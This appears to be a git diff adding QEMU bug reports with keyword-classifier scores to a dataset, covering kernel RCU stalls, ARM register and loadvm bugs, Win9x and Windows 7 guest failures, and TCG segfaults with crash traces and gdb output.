apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/man" pid=457 comm="apparmor_parser" + + Starting networking.service - Raise network interfaces... +[ 24.255671] audit: type=1400 audit(1707113302.472:10): apparmor="STATUS" operation="profile_load" profile="unconfined" name="man_filter" pid=457 comm="apparmor_parser" +[ OK ] Finished systemd-tmpfiles-…te Volatile Files and Directories. +[ 24.361355] audit: type=1400 audit(1707113302.472:11): apparmor="STATUS" operation="profile_load" profile="unconfined" name="man_groff" pid=457 comm="apparmor_parser" + Starting systemd-timesyncd… - Network Time Synchronization... + Starting systemd-update-ut…rd System Boot/Shutdown in UTMP... +[ OK ] Finished systemd-update-ut…cord System Boot/Shutdown in UTMP. +[ OK ] Finished networking.service - Raise network interfaces. +[ OK ] Reached target network.target - Network. +[ OK ] Started systemd-timesyncd.…0m - Network Time Synchronization. +[ OK ] Reached target sysinit.target - System Initialization. +[ OK ] Started etckeeper.timermit of changes in /etc directory. +[ OK ] Started systemd-tmpfiles-c… Cleanup of Temporary Directories. +[ OK ] Reached target time-set.target - System Time Set. +[ OK ] Started apt-daily.timer - Daily apt download activities.[ 46.187450] rcu: INFO: rcu_preempt self-detected stall on CPU +[ 46.187522] rcu: 0-...!: (5250 ticks this GP) idle=3774/1/0x4000000000000000 softirq=12350/12350 fqs=0 +[ 46.187522] (t=5250 jiffies g=8669 q=7 ncpus=1) +[ 46.187522] rcu: rcu_preempt kthread timer wakeup didn't happen for 5249 jiffies! g8669 f0x0 RCU_GP_WAIT_FQS(5) ->state=0x402 +[ 46.187522] rcu: Possible timer handling issue on cpu=0 timer-softirq=2282 +[ 46.187522] rcu: rcu_preempt kthread starved for 5250 jiffies! g8669 f0x0 RCU_GP_WAIT_FQS(5) ->state=0x402 ->cpu=0 +[ 46.187522] rcu: Unless rcu_preempt kthread gets sufficient CPU time, OOM is now expected behavior. +[ 46.187522] rcu: RCU grace-period kthread stack dump: +[ 46.187522] task:rcu_preempt state:I stack:0 pid:15 ppid:2 flags:0x00004000 +[ 46.187522] Call Trace: +[ 46.187522] <TASK> +[ 46.187522] __schedule+0x34d/0x9e0 +[ 46.187522] ? rcu_gp_cleanup+0x460/0x460 +[ 46.187522] schedule+0x5a/0xd0 +[ 46.187522] schedule_timeout+0x94/0x150 +[ 46.187522] ? __bpf_trace_tick_stop+0x10/0x10 +[ 46.187522] rcu_gp_fqs_loop+0x141/0x550 +[ 46.187522] rcu_gp_kthread+0xd0/0x190 +[ 46.187522] kthread+0xda/0x100 +[ 46.187522] ? kthread_complete_and_exit+0x20/0x20 +[ 46.187522] ret_from_fork+0x22/0x30 +[ 46.187522] </TASK> +[ 46.187522] rcu: Stack dump where RCU GP kthread last ran: +[ 46.187522] CPU: 0 PID: 487 Comm: ip Not tainted 6.1.0-17-amd64 #1 Debian 6.1.69-1 +[ 46.187522] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS Arch Linux 1.16.3-1-1 04/01/2014 +[ 46.187522] RIP: 0010:virtqueue_get_buf_ctx_split+0x94/0xd0 [virtio_ring] +[ 46.187522] Code: 42 fe ff ff 0f b7 43 58 83 c0 01 66 89 43 58 f6 83 80 00 00 00 01 75 12 80 7b 4a 00 48 8b 4b 70 8b 53 60 74 0f 66 87 44 51 04 <48> 89 e8 5b 5d c3 cc cc cc cc 66 89 44 51 04 0f ae f0 48 89 e8 5b +[ 46.187522] RSP: 0018:ffff960c408135c8 EFLAGS: 00000246 +[ 46.187522] RAX: 0000000000000000 RBX: ffff88e04e976100 RCX: 0000000000000001 +[ 46.187522] RDX: 0000000000000000 RSI: ffff960c408135e4 RDI: ffff88e04e976100 +[ 46.187522] RBP: 0000000000000000 R08: 0000000000000004 R09: ffff88e0034fa980 +[ 46.187522] R10: 0000000000000003 R11: ffff960c40813628 R12: 0000000000000002 +[ 46.187522] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000001 +[ 46.187522] FS: 00007f11d16da2c0(0000) GS:ffff88e07dc00000(0000) knlGS:0000000000000000 +[ 46.187522] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 46.187522] CR2: 00007f11d17ff8d0 CR3: 0000000004ac6000 CR4: 00000000000006f0 +[ 46.187522] Call Trace: +[ 46.187522] <IRQ> +[ 46.187522] ? rcu_check_gp_kthread_starvation+0xec/0xfd +[ 46.187522] ? rcu_sched_clock_irq.cold+0xe3/0x459 +[ 46.187522] ? update_load_avg+0x7e/0x780 +[ 46.187522] ? sched_slice+0x87/0x140 +[ 46.187522] ? timekeeping_update+0xdd/0x130 +[ 46.187522] ? timekeeping_advance+0x377/0x570 +[ 46.187522] ? update_process_times+0x70/0xb0 +[ 46.187522] ? tick_sched_handle+0x22/0x60 +[ 46.187522] ? tick_sched_timer+0x63/0x80 +[ 46.187522] ? tick_sched_do_timer+0xa0/0xa0 +[ 46.187522] ? __hrtimer_run_queues+0x112/0x2b0 +[ 46.187522] ? hrtimer_interrupt+0xf4/0x210 +[ 46.187522] ? __sysvec_apic_timer_interrupt+0x5d/0x110 +[ 46.187522] ? sysvec_apic_timer_interrupt+0x69/0x90 +[ 46.187522] </IRQ> +[ 46.187522] <TASK> +[ 46.187522] ? asm_sysvec_apic_timer_interrupt+0x16/0x20 +[ 46.187522] ? virtqueue_get_buf_ctx_split+0x94/0xd0 [virtio_ring] +[ 46.187522] virtnet_send_command+0x18e/0x1e0 [virtio_net] +[ 46.187522] virtnet_set_rx_mode+0xd4/0x2d0 [virtio_net] +[ 46.187522] __dev_open+0x12b/0x1a0 +[ 46.187522] __dev_change_flags+0x1d2/0x240 +[ 46.187522] dev_change_flags+0x22/0x60 +[ 46.187522] do_setlink+0x37c/0x12b0 +[ 46.187522] ? __nla_validate_parse+0x61/0xc00 +[ 46.187522] __rtnl_newlink+0x623/0x9e0 +[ 46.187522] ? __kmem_cache_alloc_node+0x191/0x2a0 +[ 46.187522] rtnl_newlink+0x43/0x70 +[ 46.187522] rtnetlink_rcv_msg+0x14e/0x3b0 +[ 46.187522] ? __kmem_cache_alloc_node+0x191/0x2a0 +[ 46.187522] ? __alloc_skb+0x88/0x1a0 +[ 46.187522] ? rtnl_calcit.isra.0+0x140/0x140 +[ 46.187522] netlink_rcv_skb+0x51/0x100 +[ 46.187522] netlink_unicast+0x24a/0x390 +[ 46.187522] netlink_sendmsg+0x250/0x4c0 +[ 46.187522] __sock_sendmsg+0x5f/0x70 +[ 46.187522] ____sys_sendmsg+0x277/0x2f0 +[ 46.187522] ? copy_msghdr_from_user+0x7d/0xc0 +[ 46.187522] ___sys_sendmsg+0x9a/0xe0 +[ 46.187522] __sys_sendmsg+0x76/0xc0 +[ 46.187522] do_syscall_64+0x5b/0xc0 +[ 46.187522] ? exit_to_user_mode_prepare+0x40/0x1e0 +[ 46.187522] ? syscall_exit_to_user_mode+0x27/0x40 +[ 46.187522] ? do_syscall_64+0x67/0xc0 +[ 46.187522] ? do_user_addr_fault+0x1b0/0x580 +[ 46.187522] ? exit_to_user_mode_prepare+0x40/0x1e0 +[ 46.187522] entry_SYSCALL_64_after_hwframe+0x64/0xce +[ 46.187522] RIP: 0033:0x7f11d1811af0 +[ 46.187522] Code: 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 66 2e 0f 1f 84 00 00 00 00 00 90 80 3d f1 fa 0c 00 00 74 17 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 58 c3 0f 1f 80 00 00 00 00 48 83 ec 28 89 54 +[ 46.187522] RSP: 002b:00007ffe21b533a8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e +[ 46.187522] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 00007f11d1811af0 +[ 46.187522] RDX: 0000000000000000 RSI: 00007ffe21b53410 RDI: 0000000000000003 +[ 46.187522] RBP: 0000000000000003 R08: 0000000065c07b57 R09: 00005580e154e2a0 +[ 46.187522] R10: 00007ffe21b52e34 R11: 0000000000000202 R12: 0000000065c07b58 +[ 46.187522] R13: 00005580e016e020 R14: 0000000000000001 R15: 0000000000000000 +[ 46.187522] </TASK> +[ 46.187522] CPU: 0 PID: 487 Comm: ip Not tainted 6.1.0-17-amd64 #1 Debian 6.1.69-1 +[ 46.187522] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS Arch Linux 1.16.3-1-1 04/01/2014 +[ 46.187522] RIP: 0010:virtqueue_get_buf_ctx_split+0x94/0xd0 [virtio_ring] +[ 46.187522] Code: 42 fe ff ff 0f b7 43 58 83 c0 01 66 89 43 58 f6 83 80 00 00 00 01 75 12 80 7b 4a 00 48 8b 4b 70 8b 53 60 74 0f 66 87 44 51 04 <48> 89 e8 5b 5d c3 cc cc cc cc 66 89 44 51 04 0f ae f0 48 89 e8 5b +[ 46.187522] RSP: 0018:ffff960c408135c8 EFLAGS: 00000246 +[ 46.187522] RAX: 0000000000000000 RBX: ffff88e04e976100 RCX: 0000000000000001 +[ 46.187522] RDX: 0000000000000000 RSI: ffff960c408135e4 RDI: ffff88e04e976100 +[ 46.187522] RBP: 0000000000000000 R08: 0000000000000004 R09: ffff88e0034fa980 +[ 46.187522] R10: 0000000000000003 R11: ffff960c40813628 R12: 0000000000000002 +[ 46.187522] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000001 +[ 46.187522] FS: 00007f11d16da2c0(0000) GS:ffff88e07dc00000(0000) knlGS:0000000000000000 +[ 46.187522] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 46.187522] CR2: 00007f11d17ff8d0 CR3: 0000000004ac6000 CR4: 00000000000006f0 +[ 46.187522] Call Trace: +[ 46.187522] <IRQ> +[ 46.187522] ? rcu_dump_cpu_stacks+0xa4/0xe0 +[ 46.187522] ? rcu_sched_clock_irq.cold+0xe8/0x459 +[ 46.187522] ? update_load_avg+0x7e/0x780 +[ 46.187522] ? sched_slice+0x87/0x140 +[ 46.187522] ? timekeeping_update+0xdd/0x130 +[ 46.187522] ? timekeeping_advance+0x377/0x570 +[ 46.187522] ? update_process_times+0x70/0xb0 +[ 46.187522] ? tick_sched_handle+0x22/0x60 +[ 46.187522] ? tick_sched_timer+0x63/0x80 +[ 46.187522] ? tick_sched_do_timer+0xa0/0xa0 +[ 46.187522] ? __hrtimer_run_queues+0x112/0x2b0 +[ 46.187522] ? hrtimer_interrupt+0xf4/0x210 +[ 46.187522] ? __sysvec_apic_timer_interrupt+0x5d/0x110 +[ 46.187522] ? sysvec_apic_timer_interrupt+0x69/0x90 +[ 46.187522] </IRQ> +[ 46.187522] <TASK> +[ 46.187522] ? asm_sysvec_apic_timer_interrupt+0x16/0x20 +[ 46.187522] ? virtqueue_get_buf_ctx_split+0x94/0xd0 [virtio_ring] +[ 46.187522] virtnet_send_command+0x18e/0x1e0 [virtio_net] +[ 46.187522] virtnet_set_rx_mode+0xd4/0x2d0 [virtio_net] +[ 46.187522] __dev_open+0x12b/0x1a0 +[ 46.187522] __dev_change_flags+0x1d2/0x240 +[ 46.187522] dev_change_flags+0x22/0x60 +[ 46.187522] do_setlink+0x37c/0x12b0 +[ 46.187522] ? __nla_validate_parse+0x61/0xc00 +[ 46.187522] __rtnl_newlink+0x623/0x9e0 +[ 46.187522] ? __kmem_cache_alloc_node+0x191/0x2a0 +[ 46.187522] rtnl_newlink+0x43/0x70 +[ 46.187522] rtnetlink_rcv_msg+0x14e/0x3b0 +[ 46.187522] ? __kmem_cache_alloc_node+0x191/0x2a0 +[ 46.187522] ? __alloc_skb+0x88/0x1a0 +[ 46.187522] ? rtnl_calcit.isra.0+0x140/0x140 +[ 46.187522] netlink_rcv_skb+0x51/0x100 +[ 46.187522] netlink_unicast+0x24a/0x390 +[ 46.187522] netlink_sendmsg+0x250/0x4c0 +[ 46.187522] __sock_sendmsg+0x5f/0x70 +[ 46.187522] ____sys_sendmsg+0x277/0x2f0 +[ 46.187522] ? copy_msghdr_from_user+0x7d/0xc0 +[ 46.187522] ___sys_sendmsg+0x9a/0xe0 +[ 46.187522] __sys_sendmsg+0x76/0xc0 +[ 46.187522] do_syscall_64+0x5b/0xc0 +[ 46.187522] ? exit_to_user_mode_prepare+0x40/0x1e0 +[ 46.187522] ? syscall_exit_to_user_mode+0x27/0x40 +[ 46.187522] ? do_syscall_64+0x67/0xc0 +[ 46.187522] ? do_user_addr_fault+0x1b0/0x580 +[ 46.187522] ? exit_to_user_mode_prepare+0x40/0x1e0 +[ 46.187522] entry_SYSCALL_64_after_hwframe+0x64/0xce +[ 46.187522] RIP: 0033:0x7f11d1811af0 +[ 46.187522] Code: 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 66 2e 0f 1f 84 00 00 00 00 00 90 80 3d f1 fa 0c 00 00 74 17 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 58 c3 0f 1f 80 00 00 00 00 48 83 ec 28 89 54 +[ 46.187522] RSP: 002b:00007ffe21b533a8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e +[ 46.187522] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 00007f11d1811af0 +[ 46.187522] RDX: 0000000000000000 RSI: 00007ffe21b53410 RDI: 0000000000000003 +[ 46.187522] RBP: 0000000000000003 R08: 0000000065c07b57 R09: 00005580e154e2a0 +[ 46.187522] R10: 00007ffe21b52e34 R11: 0000000000000202 R12: 0000000065c07b58 +[ 46.187522] R13: 00005580e016e020 R14: 0000000000000001 R15: 0000000000000000 +[ 46.187522] </TASK> +``` +Steps to reproduce: +1. Create the following nested passthrough configuration +2. Attempt to configure the L1 network hostdev interface inside the L2 guest + +Any attempt will cause the kernel panics documented. +Additional information: +# diff --git a/results/classifier/108/graphic/2154 b/results/classifier/108/graphic/2154 new file mode 100644 index 000000000..a52f29c54 --- /dev/null +++ b/results/classifier/108/graphic/2154 @@ -0,0 +1,22 @@ +graphic: 0.966 +device: 0.872 +other: 0.840 +socket: 0.780 +debug: 0.770 +network: 0.746 +vnc: 0.685 +PID: 0.639 +semantic: 0.609 +performance: 0.604 +boot: 0.366 +files: 0.241 +permissions: 0.231 +KVM: 0.157 + +ID_AA64MMFR2_EL1 is all zeros +Description of problem: +When the `ID_AA64MMFR2_EL1` register is read via `mrs x[n], ID_AA64MMFR2_EL1`, it is read as all zeros. This is at the very least not correct for `ID_AA64MMFR2_EL1.ST`, which describes support for small translation tables (FEAT_TTST). +Steps to reproduce: +1. Run `mrs x[n], ID_AA64MMFR2_EL1` within qemu-system-aarch64 +Additional information: +FEAT_TTST is a relatively new aarch64 feature that appears to have caused many problems basically everywhere. However, [qemu has reportedly implemented it](https://www.qemu.org/2021/04/30/qemu-6-0-0/). diff --git a/results/classifier/108/graphic/2155 b/results/classifier/108/graphic/2155 new file mode 100644 index 000000000..a0f25eb61 --- /dev/null +++ b/results/classifier/108/graphic/2155 @@ -0,0 +1,38 @@ +graphic: 0.958 +semantic: 0.852 +device: 0.842 +performance: 0.784 +vnc: 0.702 +files: 0.665 +socket: 0.513 +PID: 0.508 +debug: 0.497 +network: 0.369 +permissions: 0.349 +boot: 0.272 +other: 0.183 +KVM: 0.167 + +LoadVM assert on ARM_FEATURE_M for Cortex M3 +Description of problem: +This appears to be a similar issue to https://gitlab.com/qemu-project/qemu/-/issues/1775 and https://gitlab.com/qemu-project/qemu/-/issues/1658 + +When running `loadvm` qemu aborts with this error: + +"qemu/target/arm/helper.c:12383: arm_security_space_below_el3: Assertion `!arm_feature(env, ARM_FEATURE_M)' failed." + +I've traced the error to `pmu_counter_enabled` in `qemu\target\arm\helper.c:1172` + [uint64_t mdcr_el2 = arm_mdcr_el2_eff(env)](https://gitlab.com/qemu-project/qemu/-/blob/v8.2.0/target/arm/helper.c?ref_type=tags#L1172) (link is to 8.2.0 release tag) + + +The issue is caused by attempting to get the MDCR_EL2 register prior to checking if the CPU has ARM_FEATURE_PMU support. + +A simple fix seems to be to check for `ARM_PMU_ENABLED` and returning early if it is not enabled. +Steps to reproduce: +1. Start emulation and connect monitor +2. savevm <snapshot-name> +3. Loadvm <snapshot-name> +Additional information: +See screenshot for stack trace + + diff --git a/results/classifier/108/graphic/2190 b/results/classifier/108/graphic/2190 new file mode 100644 index 000000000..229c1a93b --- /dev/null +++ b/results/classifier/108/graphic/2190 @@ -0,0 +1,22 @@ +graphic: 0.963 +other: 0.893 +device: 0.852 +semantic: 0.686 +performance: 0.657 +debug: 0.592 +network: 0.579 +files: 0.551 +PID: 0.430 +vnc: 0.397 +boot: 0.330 +KVM: 0.297 +socket: 0.294 +permissions: 0.138 + +qemu-block-drivers.rst.inc is embedded twice +Description of problem: +`qemu-block-drivers.rst.inc` is included both in `docs/system/qemu-block-drivers.rst` and in `docs/system/images.rst`, so it is repeated both at https://www.qemu.org/docs/master/system/qemu-block-drivers.html and at https://www.qemu.org/docs/master/system/images.html . + +This also makes the generation of the sphinx `objects.inv` search index nondeterministic: it will point to one page or the other depending on random chance at build time. + +Perhaps instead of embedding the drivers, `images.rst` should point to https://www.qemu.org/docs/master/system/qemu-block-drivers.html for the list? diff --git a/results/classifier/108/graphic/2199 b/results/classifier/108/graphic/2199 new file mode 100644 index 000000000..5fc3027d6 --- /dev/null +++ b/results/classifier/108/graphic/2199 @@ -0,0 +1,27 @@ +graphic: 0.975 +device: 0.879 +socket: 0.781 +files: 0.750 +boot: 0.727 +network: 0.700 +vnc: 0.653 +PID: 0.624 +performance: 0.557 +semantic: 0.554 +permissions: 0.523 +debug: 0.511 +other: 0.484 +KVM: 0.177 + +QEMU8 not working properly for Win9x guest +Description of problem: +Cannot boot to Win9x desktop. Enter safe mode of Win9x, then open C:\Windows\system\iosubsys, then rename drvwq117.vxd to drvwq117.vxd.bak, this problem solved.<br /> +Sound card and network card not found in Win9x Device Manager.<br /> +Cannot change resolution in Win9x Control Panel, this will cause "RUNDLL32 program error". + +We found that Plug-and-Play (\$PNP) and PCI IRQ Routing (\$PIR) functions of SeaBIOS are buggy for Win9x guest. +Steps to reproduce: +1.Install Win98 RTM on QEMU8, it cannot boot to Win98 desktop.<br /> +2.Install WinME on QEMU8, it will stuck on "copying files". +Additional information: + diff --git a/results/classifier/108/graphic/2206 b/results/classifier/108/graphic/2206 new file mode 100644 index 000000000..e40a56d1c --- /dev/null +++ b/results/classifier/108/graphic/2206 @@ -0,0 +1,25 @@ +graphic: 0.948 +device: 0.842 +vnc: 0.756 +debug: 0.685 +other: 0.678 +performance: 0.648 +semantic: 0.641 +KVM: 0.627 +PID: 0.595 +network: 0.565 +boot: 0.545 +socket: 0.484 +files: 0.370 +permissions: 0.113 + +PAGE_FAULT_IN_NONPAGED_AREA in Windows 7 x64. +Description of problem: +When trying to install Windows 7, it always crashes with PAGE_FAULT_IN_NONPAGED_AREA. This also impacts Windows 8.1, but crashes when it tries to start up the installation disc. +Steps to reproduce: +1. Create A VM with the Windows 7 installation disc inside the cdrom. +2. Go through the installation +3. At some point, it will pull a blue screen with a PAGE_FAULT_IN_NONPAGED_AREA. (around expanding windows files or completing installation) +Additional information: +It looks like this bsod is relating to some non-canonical (illegal) virtual address being referenced. (It's just my guess based on the stop code) + diff --git a/results/classifier/108/graphic/2220 b/results/classifier/108/graphic/2220 new file mode 100644 index 000000000..783eb3b78 --- /dev/null +++ b/results/classifier/108/graphic/2220 @@ -0,0 +1,543 @@ +graphic: 0.919 +semantic: 0.913 +performance: 0.912 +debug: 0.907 +device: 0.896 +socket: 0.890 +vnc: 0.884 +boot: 0.884 +permissions: 0.883 +other: 0.873 +network: 0.863 +KVM: 0.857 +PID: 0.856 +files: 0.763 + +Intermittent QEMU segfaults on x86_64 with TCG accelerator +Description of problem: +Recently(-ish) in our upstream systemd CI we started seeing an uptrend of QEMU segfaults when running our integration tests. This was first observed in CentOS Stream 9 runs, but was later followed by Fedora Rawhide and Ubuntu Noble, once they picked up the QEMU 8.x branch. I filed a RHEL-only ticked first (before we started seeing it on other distros as well), so I'll share the same information here as well. + +This seems to happen only with TCG - in the CentOS CI infrastructure, where this was first observed, we run two jobs - one on a baremetal, that runs the test VMs with KVM, and one already on VMs that runs the same jobs using TCG; only the TCG job suffer from this issue. The same goes for the Fedora Rawhide and Ubuntu Noble jobs - they also use TCG. + +I managed to get a stack trace from one of the segmentation faults on CentOS Stream 9: +```gdb +[coredumpctl_collect] Collecting coredumps for '/usr/libexec/qemu-kvm' + PID: 1154719 (qemu-system-x86) + UID: 0 (root) + GID: 0 (root) + Signal: 11 (SEGV) + Timestamp: Thu 2024-02-01 21:50:04 UTC (1min 23s ago) + Command Line: /bin/qemu-system-x86_64 -smp 8 -net none -m 768M -nographic -kernel /boot/vmlinuz-5.14.0-412.el9.x86_64 -drive format=raw,cache=unsafe,file=/var/tmp/systemd-test-TEST-63-PATH_1/default.img -device virtio-rng-pci,max-bytes=1024,period=1000 -cpu max -initrd /var/tmp/ci-initramfs-5.14.0-412.el9.x86_64.img -append $'root=LABEL=systemd_boot rw raid=noautodetect rd.luks=0 loglevel=2 init=/usr/lib/systemd/systemd console=ttyS0 SYSTEMD_UNIT_PATH=/usr/lib/systemd/tests/testdata/testsuite-63.units:/usr/lib/systemd/tests/testdata/units: systemd.unit=testsuite.target systemd.wants=testsuite-63.service noresume oops=panic panic=1 softlockup_panic=1 systemd.wants=end.service enforcing=0 watchdog_thresh=60 workqueue.watchdog_thresh=120' + Executable: /usr/libexec/qemu-kvm + Control Group: /user.slice/user-0.slice/session-1.scope + Unit: session-1.scope + Slice: user-0.slice + Session: 1 + Owner UID: 0 (root) + Boot ID: 011f8fd0783c464184955c281ce2c1b7 + Machine ID: af8d424897a0479fa2fc0e5afcff3198 + Hostname: n27-39-6.pool.ci.centos.org + Storage: /var/lib/systemd/coredump/core.qemu-system-x86.0.011f8fd0783c464184955c281ce2c1b7.1154719.1706824204000000.zst (present) + Size on Disk: 124.7M + Message: Process 1154719 (qemu-system-x86) of user 0 dumped core. + + Stack trace of thread 1154728: + #0 0x0000557669385a13 address_space_translate_for_iotlb (qemu-kvm + 0x73ba13) + #1 0x00005576693d149f tlb_set_page_full (qemu-kvm + 0x78749f) + #2 0x0000557669248a18 x86_cpu_tlb_fill (qemu-kvm + 0x5fea18) + #3 0x00005576693db519 mmu_lookup1 (qemu-kvm + 0x791519) + #4 0x00005576693db31b mmu_lookup.llvm.5973256065011438912 (qemu-kvm + 0x79131b) + #5 0x00005576693d3173 do_ld4_mmu.llvm.5973256065011438912 (qemu-kvm + 0x789173) + #6 0x00005576692d44cf do_interrupt_all (qemu-kvm + 0x68a4cf) + #7 0x000055766924f605 x86_cpu_exec_interrupt (qemu-kvm + 0x605605) + #8 0x00005576693bdc25 cpu_exec_loop (qemu-kvm + 0x773c25) + #9 0x00005576693bcee1 cpu_exec_setjmp (qemu-kvm + 0x772ee1) + #10 0x00005576693bcd64 cpu_exec (qemu-kvm + 0x772d64) + #11 0x00007fe0c5e4011c mttcg_cpu_thread_fn (accel-tcg-x86_64.so + 0x411c) + #12 0x0000557669662ada qemu_thread_start.llvm.13264588188580115644 (qemu-kvm + 0xa18ada) + #13 0x00007fe0c68a1912 start_thread (libc.so.6 + 0xa1912) + #14 0x00007fe0c683f450 __clone3 (libc.so.6 + 0x3f450) + + Stack trace of thread 1154721: + #0 0x00007fe0c69159e5 clock_nanosleep@GLIBC_2.2.5 (libc.so.6 + 0x1159e5) + #1 0x00007fe0c691a597 __nanosleep (libc.so.6 + 0x11a597) + #2 0x00007fe0c6b70c87 g_usleep (libglib-2.0.so.0 + 0x7ec87) + #3 0x0000557669670c18 call_rcu_thread (qemu-kvm + 0xa26c18) + #4 0x0000557669662ada qemu_thread_start.llvm.13264588188580115644 (qemu-kvm + 0xa18ada) + #5 0x00007fe0c68a1912 start_thread (libc.so.6 + 0xa1912) + #6 0x00007fe0c683f450 __clone3 (libc.so.6 + 0x3f450) + + Stack trace of thread 1154727: + #0 0x00007fe0c689e4aa __futex_abstimed_wait_common (libc.so.6 + 0x9e4aa) + #1 0x00007fe0c68a0cb0 pthread_cond_wait@@GLIBC_2.3.2 (libc.so.6 + 0xa0cb0) + #2 0x00005576696620c6 qemu_cond_wait_impl (qemu-kvm + 0xa180c6) + #3 0x000055766919425b qemu_wait_io_event (qemu-kvm + 0x54a25b) + #4 0x00007fe0c5e40180 mttcg_cpu_thread_fn (accel-tcg-x86_64.so + 0x4180) + #5 0x0000557669662ada qemu_thread_start.llvm.13264588188580115644 (qemu-kvm + 0xa18ada) + #6 0x00007fe0c68a1912 start_thread (libc.so.6 + 0xa1912) + #7 0x00007fe0c683f450 __clone3 (libc.so.6 + 0x3f450) + + Stack trace of thread 1154719: + #0 0x00007fe0c689e670 __GI___lll_lock_wait (libc.so.6 + 0x9e670) + #1 0x00007fe0c68a4d02 __pthread_mutex_lock@GLIBC_2.2.5 (libc.so.6 + 0xa4d02) + #2 0x0000557669661b76 qemu_mutex_lock_impl (qemu-kvm + 0xa17b76) + #3 0x000055766967c937 main_loop_wait (qemu-kvm + 0xa32937) + #4 0x00005576691a30c7 qemu_main_loop (qemu-kvm + 0x5590c7) + #5 0x0000557668fe3cca qemu_default_main (qemu-kvm + 0x399cca) + #6 0x00007fe0c683feb0 __libc_start_call_main (libc.so.6 + 0x3feb0) + #7 0x00007fe0c683ff60 __libc_start_main@@GLIBC_2.34 (libc.so.6 + 0x3ff60) + #8 0x0000557668fe33e5 _start (qemu-kvm + 0x3993e5) + + Stack trace of thread 1154725: + #0 0x00007fe0c689e670 __GI___lll_lock_wait (libc.so.6 + 0x9e670) + #1 0x00007fe0c68a4d02 __pthread_mutex_lock@GLIBC_2.2.5 (libc.so.6 + 0xa4d02) + #2 0x0000557669661b76 qemu_mutex_lock_impl (qemu-kvm + 0xa17b76) + #3 0x00005576693dc514 do_st_mmio_leN.llvm.5973256065011438912 (qemu-kvm + 0x792514) + #4 0x00005576693d3d22 do_st4_mmu.llvm.5973256065011438912 (qemu-kvm + 0x789d22) + #5 0x00007fe07cbfe35b n/a (n/a + 0x0) + ELF object binary architecture: AMD x86-64 + + +[coredumpctl_collect] Trying to run gdb with 'set print pretty on\nbt full' for '/usr/libexec/qemu-kvm' +GNU gdb (GDB) Red Hat Enterprise Linux 10.2-13.el9 +Copyright (C) 2021 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. +Type "show copying" and "show warranty" for details. +This GDB was configured as "x86_64-redhat-linux-gnu". +Type "show configuration" for configuration details. +For bug reporting instructions, please see: +<https://www.gnu.org/software/gdb/bugs/>. +Find the GDB manual and other documentation resources online at: + <http://www.gnu.org/software/gdb/documentation/>. + +For help, type "help". +Type "apropos word" to search for commands related to "word"... +/root/.gdbinit:1: Error in sourced command file: +No symbol table is loaded. Use the "file" command. +Reading symbols from /usr/libexec/qemu-kvm... +Downloading separate debug info for /usr/libexec/qemu-kvm... +Reading symbols from /root/.cache/debuginfod_client/6fdfad7763b68956a31a335edd490cef23088a9a/debuginfo... +Downloading separate debug info for /root/.cache/debuginfod_client/6fdfad7763b68956a31a335edd490cef23088a9a/debuginfo... +[New LWP 1154728] +[New LWP 1154721] +[New LWP 1154727] +[New LWP 1154719] +[New LWP 1154725] +[New LWP 1154729] +[New LWP 1154726] +[New LWP 1154723] +[New LWP 1154730] +[New LWP 1154724] +[New LWP 1154722] +Downloading separate debug info for /lib64/libpixman-1.so.0... +Downloading separate debug info for /lib64/libcapstone.so.4... +Downloading separate debug info for /root/.cache/debuginfod_client/fabd9508a8df77430d74e376fc1853545deaa9a4/debuginfo... +Downloading separate debug info for /lib64/libgnutls.so.30... +Downloading separate debug info for /root/.cache/debuginfod_client/3ca805ea0a9583fc8272d443181745507c6c1391/debuginfo... +Downloading separate debug info for /lib64/libpng16.so.16... +Downloading separate debug info for /lib64/libz.so.1... +Downloading separate debug info for /lib64/libsasl2.so.3... +Downloading separate debug info for /root/.cache/debuginfod_client/d5669a4356bbdf6b9dba9d25fe4674098af42f8d/debuginfo... +Downloading separate debug info for /lib64/libsnappy.so.1... +Downloading separate debug info for /lib64/liblzo2.so.2... +Downloading separate debug info for /lib64/libpmem.so.1... +Downloading separate debug info for /root/.cache/debuginfod_client/571e30ee251154a37d94e8c45def4e0b40fdaa92/debuginfo... +Downloading separate debug info for /lib64/libseccomp.so.2... +Downloading separate debug info for /lib64/libfdt.so.1... +Downloading separate debug info for /root/.cache/debuginfod_client/31a56e0009a8824c7a09267c8205034c91cb4095/debuginfo... +Downloading separate debug info for /lib64/libnuma.so.1... +Downloading separate debug info for /root/.cache/debuginfod_client/e78797386b6fc540350223e432c3bfee6034d2e1/debuginfo... +Downloading separate debug info for /lib64/libgio-2.0.so.0... +Downloading separate debug info for /root/.cache/debuginfod_client/56c6122b97d5e4dd5fdf68756bdc02058ce02bbf/debuginfo... +Downloading separate debug info for /lib64/libgobject-2.0.so.0... +Downloading separate debug info for /lib64/libglib-2.0.so.0... +Downloading separate debug info for /lib64/librdmacm.so.1... +Downloading separate debug info for /root/.cache/debuginfod_client/7714785fff3ebddc1077a3fad30fffa35283766f/debuginfo... +Downloading separate debug info for /lib64/libibverbs.so.1... +Downloading separate debug info for /lib64/libslirp.so.0... +Downloading separate debug info for /lib64/liburing.so.2... +Downloading separate debug info for /root/.cache/debuginfod_client/8f52f15e8dff019c877c3c25083ef4a459429b99/debuginfo... +Downloading separate debug info for /lib64/libgmodule-2.0.so.0... +Downloading separate debug info for /lib64/libaio.so.1... +Downloading separate debug info for /root/.cache/debuginfod_client/9b75d21282f8e17ddfa06aff78dae4f8dcce4106/debuginfo... +Downloading separate debug info for /lib64/libm.so.6... +Downloading separate debug info for /lib64/libresolv.so.2... +Downloading separate debug info for 